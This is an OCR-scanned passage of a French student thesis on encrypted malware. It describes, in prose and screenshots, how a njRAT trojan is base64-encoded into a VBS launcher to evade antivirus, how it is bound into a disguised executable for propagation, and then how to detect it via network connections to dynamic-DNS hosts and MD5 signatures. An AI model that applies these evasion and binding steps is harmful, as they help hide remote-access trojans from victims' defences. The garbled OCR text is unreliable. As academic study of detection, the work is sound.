Trojan.MSILV/Bladabindi.Q !
Clean ‘
Backdoor.Ratenjay

Clean

Gen:Variant.Barys.7801 (B}
Backdoor.Bladabindi.AL3

Clean

Mal\/Bbindi-C

BKDR_BLADABILSMC

infected Trojan.MSIL.Disfa

Clean

GemVariant.Barys.7801
Gen:Trojan.Heur.dmo@cXmPIDI
MSILV/Agent.PPVitr

Trojan { 700000121 )
Trojan.Win32.Downloadeno.dbxzfj, Troj«
Clean
Trojan.Agent\/Gen-Barys.Process
Trojan.DO7E39A42B8CAGOC
Trojan.MSIL.Bladabindi.agxy (v}

Gos2aBfsbaf7oasiasdd26audbsiode
es5b660156956b3f316d2708fe7360170965b0fas

MDs:
SHAT:
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3.1 Le crypter

I est connue dans le domaine de la cryptovirologie qu’il est difficile d’obtenir un
résultat FUD en utilisant seulement la BASE-64. L’ application a été divisé en plusieurs

parties afin de se simplifier la tdche dans I’explication.

1. Crypter

THgQAAMARAAELRY “f-.’k.’i.l.l.-".i.-{lﬁ.*}.%%ﬂ.’i.-‘*}.’-. -
F'-"Apﬁ)kiﬁnﬁﬂﬂﬂ AAAIAARAL AN NG M--'-‘L B
w&mlmgﬂﬂnﬂm‘ﬁw&mimd%‘m
BydWigaWW4aRESTIG IvZGULDQIKIAAAAAARAABORQAAT
AEDABmsVUASAAAASAAADRAANF] A0oAAGRASAAGAAAR
AAAADOAAAADAAA RO AAAAABAAAAGAAAMASAABAAARAANS
AAAEAAAAAAAAAADGAAAAAQAAAAARAAIAQIIIAS BnAF.BAn
AAAAFAAAPAAAAAAAABAAAAAAAAAAAAAL, l‘-Ky KAABPAAA
(AAKAAAPACAAAAAAAAAAAAAAMAAAAAAALAZAMAAAZWAS
ARAAAAMARAAAAAL %AAAAAAAAAAAAAAAAAAA AAASAAA
AARAARARAAN AR ARAARARAAAAIAAACAAAAAAAAMAARAL
nmua&c AAAAARAAAAAAACEIZYNDAAAABGSARAADARA
ADAAAAAIAAAARAAAAAAAASAASACAAAGA o Nwa:v‘\AEn
(CAAAADAAAAAQAAABUAAAAAAAAAAAAAARAAABAA
bOGAAAMAAAAAMAAAAACAAAACGARAAAAAASAR R RS
AQAAAGGASAAAAAAAAAAAAAAAAAANGR AAAANASFAA 3‘1.“»5
CAAUAKFoAAIGWAAADAAAADQAABZAAAAAAAAAAAAARAR

AAAAAAAIIA!AAIICAAAlAAAAAAAAAAAAAAIIAAAIAII

l CONVERT {

FIGURE VL3 - Trojan vers Base 64

Ou il suffit de sélectionner le fichier exécutable a crypter pour cette étape on a
choisis la base 64 qui sert a transformer un fichier binaire en fichier texte afin
de Iutiliser dans notre fichier .vbs qui sert de plateforme de lancement de notre

virus.

2. Virus crypté
11 suffit d’ajouter le texte en base-64 au point d’entrée qui recoit se dernier afin

qu’il soit décrypter a la fin avec des manipulations comme :

— La création d’un bloc <« Set > afin qu’il puisse &tre récupérer sous la forme
d’un objet en wscript.shell.

— création d’objet en Msxml2.DOMDocument.3.0 afin qu’il recoit les éléments
en base-64.

— variable.text pour récupérer le code en Base-64.
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— association du bloc avec en Msxml?2 avec la variable.text pour qu’ils puissent

faire le décryptage a la fin.
— exécution du programme.

Le résultat lors du scan de notre fichier .vbs

SCAM WATCH

Yo

o General.ubs

CLEAN

HTES

Undetected for: 0 hours
Last Scan: 23 Jul13:s
First Scan: 23 Jul13:3

FIGURE VI.4 — Résultat du scan virus crypté 1.
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EEDRCG@NO:= QT o EE &

e

3
23

-
4"

a {

i

DECOUENIQO -

-
'.

cHBO:

AVG Free Clean
Avast Clean
AntiVir (Avira) Clean
BitDefender Clean
Clam Antivirus Clean
COMODO Internet Security Clean
Dr.Web Clean
eTrust-Vet Clean
F-PROT Antivirus Clean
F-Secure Internet Security Clean
G Data Clean
IIKARUS Security Clean
Kaspersky Antivirus Clean
McAfee Clean
MS Security Essentials Clean
ESET NOD32 Clean
Norman Clean
Norton Antivirus Clean
Panda Security Clean
A-Squared Clean
Quick Heal Antivirus Clean
Solo Antivirus Clean
Sophos Clean
Trend Micro Internet Security Clean
VBA32 Antivirus Clean
Zoner AntiVirus Clean
Ad-Aware Clean
BullGuard Clean
FortiClient Clean
iz Ultimate Clean
NAND antivirus Clean
Panda CommandLine Clean
SUPERANtISpyware Clean
Twister Antivirus Clean
VIPRE Clean
File: General.ubs

Size: 280.456 kb

Date: 23-07-15, O02:40:17

MDs: cc2880586d7i56f643b875cdambebs
SHA1 511088e4253a35414e09d6e3aby3Bbezacaffaby

FIGURE VL5 — Résultat du scan virus crypté 2.
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Exécution du fichier General.vbs :

system

View  Connectionsil] Upiosd {0 Bytes] Download [0 Bytes}

FIGURE VL.6 — Njrat 2.

3.2 Application de I’exploit

Dans cette partie on va présenter I’exploit. Il sert a joindre le virus dans et un fichier

.txt ou autres , ce qui est idéal pour la propagation.

Pour cela nous aurons besoin d’un compilateur de script comme ScriptCryptor

Compiler qui va nous changer le .vbs en .exe pour appliquer I’exploit.



! Fie Edit Search View Profect Help
NEH QA X 9geinas gl alg

— i
i« 75 b

Untitied.vbs WREGISTERED COPY 11 Insert

FIGURE V1.7 — ScriptCryptor Compiler

Apres qu’on a finis on met dans le méme répertoire notre virus crypté en .exe +

script autolt (qui représente 1’exploit )+ le fichier text

FIGURE VI.8 - Fichiers joints.

L’exploit en lui-méme est un script en autoit qui exécute dans temporary file dit

(Temp) les deux fichiers qui sont joint dans le nouveau .exe générer.

£3 SereenshotCaptor.exe

© njRAT.exe

FIGURE VI.9 - Fichiers joints aprés 1’exécution
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Apres ses manipulation c’est-a-dire conversion et 1’ajout de ’exploit serte sa va
touché beaucoup de monde mais le virus va perdre dans la détection car il a subi beau-

coup de modifications qui se résume sur :

L’utilisation d’un outil pour la conversion du .vbs en .exe qui est utiliser par beau-
coup de hacker pour propager leurs vers dans des ordinateurs ou le REG, VBS ou WSF

ont été€ désactivé.

4. Partie détection

4.1 Premiere technique

Dans le chapitre précédant nous avons parlé de wireshark et comment détecter un
cheval de Troie a travers sa communication avec le host du pirate don ce dernier utilise
un service qui s’appelle Dns Dynamic Host. On va employer le méme principe mais

avec des outils Bien spécifiques :

TCPView est un programme Windows qui va vous montrer des listes détaillées
de toutes les connexions TCP et UDP parameétres sur votre systéme , y compris les
adresses et état des connexions TCP locaux et distants . Sur Windows Server 2008 ,
Vista et XP , TCPView signale également le nom du processus qui posséde le point
de terminaison . TCPView fournit un sous-ensemble plus informatif et plus com-

modément présenté du programme Netstat fourni avec Windows.
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A4 TCPView - Sysinternals: waww.sysinternals.com = |3 %
Fi{e i deans chssr WV’::w Help

Ba<B

| Process PID Protocal + Local Addiess Local Pait Rernote Addiets |
157 svchostexe 828 TCPVE win-pp1sipgd671 1027 win-pplaipgds71 i
host. 732 TCPVE win-pplstpgd671 1026 winpplsipgd671 ¥
648 TCPVE win-pp1apgds71 epmep winpp13ipgdS71 {

472 TCPVE win-pp1sipgd671 1028 win-pplsmpgd671

464 TCPVE winpplsipgds71 1033 win-pplarpgd71
368 TCPVE winppl slpgd671 1025 wwwl 51996671 )
4 TCPVE icrosoftd: ‘
4 TCPVE win-ppl :npgds71 wsd vm-p;ﬂ wpqd671 {
4 TCPVE win-pp1sipgd671 8732 -pp1 8pgd671 i
{ @ chiome.exe 5536 TCP win-pple(pgd671.localdomain 4034 edgesla shv-01-cdg2 facebook.com 1
& chiome.exe 5536 TcP win-pplsipgd671.localdomain 4368 223102218 H
{ & chiome.exe 5536 ice win-pplsipgd671.locaidomain 4379 ecin{190.1e100.net = f
| & chiome.exe 5536 cP win-pplsipgd671.locaidomain 4381 eein{1391e100.net <l
| % Drophox.exe 3092 TCP win-pplspgd67T.localdomain 1051 client.v.dropbox.com
{ %7 Dropbor.exe 3892 TCP WIN-PPISRPGDE71 1055 locathost
, Dropbox.exe 3892 TCcP ‘WIN-PP1SRPGDE71 1084 locahost —4
3892 TCcP WIN-PP1SRPGD671 1085 locahost §
3892 ce winpplsipgdd7l.bocaldoman 3075 seiver-54-192-10-218 fud r.choudiront net ¢
3892 Tce win-pplsipad671.localdomain 3081 €c2-107-21-224-245 compute-1.amazonaws.com |
382 TCcP winpplaipgd671.localdomain - 3211 d.v.diopbax.com i

3832 ce winpplepgd71.localdomain - 3223 108160173130
38R TcP winpplsipgd671.localdomain 3699 seiver-54-192-3-247. IS r.cloudfiont.net §
3832 TCP wirrpplsipod671.localdomain 3792 ashrial-5a sic.diopbox.com z
3892 TP win-pplspgd71.localdomain 3338 ©c2-54-83-200-123.compute-1.amazonaws.com H
3892 ice winpplsmads7l.localdoman 4017 d.v.dropbox.com i

o »

Endpoints: 77 Established:11  Listening: 23 Time Wait: 0 Close Wait: 15

FIGURE VI.10 — TCPView

On sait que tcpview est I’interface graphique d’un programme qui s’ appelle Tcpv-

con :

’:h C\Users\Genera[\Desktop\scan\tcpvconexe : o= B

PID: 3892 n
“State: CLOSE_WRIT
! Local: win—pplsrpyd6?1.localdomain
s Remote: d.v.drophox.conm
([LTCP1 Drophox.exe
] PID: 3892 -
State: CLOSE_WAIT
Local: win— pplﬂrqub?l localdomajn
] Remote: d.vu. dropbax com
LTCE1 Drophox.exe :
PID: 3892
State: CLOSE_UWAIT
Local: -win—pplsrpyd6?i.localdomain
i Remote: ec2-187-21-229-195_compute—1.amazonaws .com
[TCP] Drophox.exe
PID: - 3892 i
State: CLOSE UﬂIT
Local: win—pplsrpgd6?l. loraldomaln
. Remote: d.u.dropbox.com
ILTCP1 Drophox.exe
1 PID: 3892
State: CLOSE_
Local: - win—yp
Remote: server-54-192— —18- 229 1he3 . P.cloudfront net

[

FIGURE VI.11 — TCPvcon

Donc I'idée est de faire une liste avec les noms de domaine qui servent comme
Dynamics Dns host et la comparer aux adresses de sortie (Remote adresse). Pour cela

on a besoin d’un script qui prend comme ressource le programme tcpvcon.exe et Dn-
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shost.txt pour nous donner un résultat s’il y’a une infection. Etant donné que notre
systeme est infecté, ¢’est ce que I’analyse avec wireshak a prouver. Le teste avec notre
script a donné :

¥ Process Explorer - Sysinternals: www.sysinterals.com [WIN-PP1SRPGD671\General] faiiall

daEraB|E | #e FI

File Optionz View Process Find Userz Help i

Process y Private Bytes 2N \_ PID Description Company Name =
| winlogon.exe 1604 K 1272K 404
T SupOptReminder.exe 7020K 282K 1852
2 5 explorerexe 31 41222K 43676 K 3340 Bxplorateur Windows Microsoft Corporation
L) vmtaolsd exe 0.1% €78 252K S30 768K 3436 VMware Tools Core Service  VMware, Inc.
FAOK 576K 3468
4252K 1176 K 3475 Malwarebytes Anti-Bxplot Malwarebytes Comoration
0.03 1Es12K §340K 2484 ProductUpdater
0.05 2TEK 2628 K 3568 Sandboxie Control Sandbaxe Holdings, LLC
0S4 17 324K 28952K 3678
P g 0.05 121280K 45528 K 3892 Dropbox Dropbax, bnc.
00Z%=112200K | malwarefound =~ o ' ==
87WT0K ;
11532K ™
007 FIOK | name:svchestexe
074 81075K Pid: 3676
084 13823%K hostel
014 78 758K securitymicre.ddns.net
SToasK Path :C:A\Users\Gi lAppDatatilocal Temp\svchest.
0.04 26 775K ath :C\Users\General\AppDatatlocal\ Temp\svchest.exe
52428K
515 13008K per...
528K frua ki) L
8380K " i
1740K — Z I35 K 5UZU Fieipreleur e commanaes -, MIcTosait Lorporation
1100K 3876 K 5332 TCP/UDP endpoint viewer  Sysintemals - www sysinter...
8K FC4K 3664
22332K 16252K 4892 i
207 32712K 22 148K 4740 DonationCoder &

CPU Usage: 100,00% Cemmit Charge: 70.43% Processes: 81 Physical Usage: 93.74%

FIGURE VI.12 — Résultat du test.

4.2 Deuxieme technique

i N S
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generateur de Base de données Antivirus
signature pour fichier virale
mfecter
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1. Choisir le fichier infecté.

2. Ajouter sa signature Md5 a la database.

Remarque : cette fonctionnalité est faite chez les développeurs d’Antivirus, les

utilisateurs ne regoivent qu’une mise a jour de leur base de données.

T
Database file:

FIGURE VI.13 — Database creator

La deuxieéme partie :

by
S Scan Rty | Databasa | Sethogs

Scan Locations: h

i A Scanned foiders:
i 0

1 Scanned fles S

Found, 0
Twom papued 0 s
Frngress. %
&
" cooifese Yoo
=
0 Brogre: oL Sestescarwd Fim St § Founs @

FIGURE VI.14 — Scanner.

Ses spécificités :
— Relier a notre base de données précédemment expliqué.

~ Détection automatique des périphériques (Scan Locations).

69
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Analyse
antivirus

pas:ez au suivant
FIGURE VI.15 — Schéma explicatif.

— scanner (choisir le répertoire).
— Affichage de résultats (S’il y a une infection, vous aurez le choix de supprimer

ou pas le fichier)

5. Conclusion

Tout au long de ce chapitre, on a présenté des applications afin de rendre des virus
indétectables et de les détecter en utilisant des techniques cryptage ainsi que d’autre
méthodes qui nous ont permit de résoudre notre problématique posée au tout début de

ce présent travail.
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Conclusion générale

Dans ce mémoire nous avons traité I’une des problématiques majeures de la sécurité
informatique : les virus. Nous avons remarqué qu’il existe beaucoup types de virus,
dont la naissance remonte & des époques différentes, et qui s’occasionne avec les
grandes phases de I’informatique. On est témoin de la multiplication de ses dernier

avec I’acces facile du grand public a internet.

Sachant que Windows est le systeme d’exploitation majoritairement touché, mais
il est a craindre qu’avec 1’explosion de Linux, et le taux élevé de son utilisation, fait
augmenter les attaques tournées vers ce systeme. Surtout s’il est utilisé par des gens
non expérimentés. Il a cependant une bonne marge d’avance, puisque le nombre de
virus en activité sous Linux est minime comparées a ceux pour I’OS de Microsoft car

contrairement a Linux, il est difficile d’avoir I’accés au mode super admin (root).

Etant donné que le probléme des virus cryptés représente le ceeur de notre travail,
et malgré les difficultés existantes telles que rendre les virus cryptés indétectables par
rapport aux différentes antivirus, nous avons essayé de présenter une solution qui pour-

rait palier ce probleme.

Par conséquent, les anti-virus ne sont pas préts de disparaitre dans le futur proche.
Il leurs faut donc travailler avec intermittence afin de trouver (ou améliorer) de nou-
velles solutions pour combattre ce fléau car les virus franchissent aussi un cap a chaque
innovation des anti-virus avec un avantage majeur a 1’heure actuelle qui est 1’obliga-

tion de découvrir le virus avant de pouvoir 1’écraser.
Ce présent travail m’a personnellement permis de renforcer mes connaissances

dans ce vaste domaine, et ainsi d’acquérir de nouvelles notions qui vont sans doute

me servir dans le futur proche.
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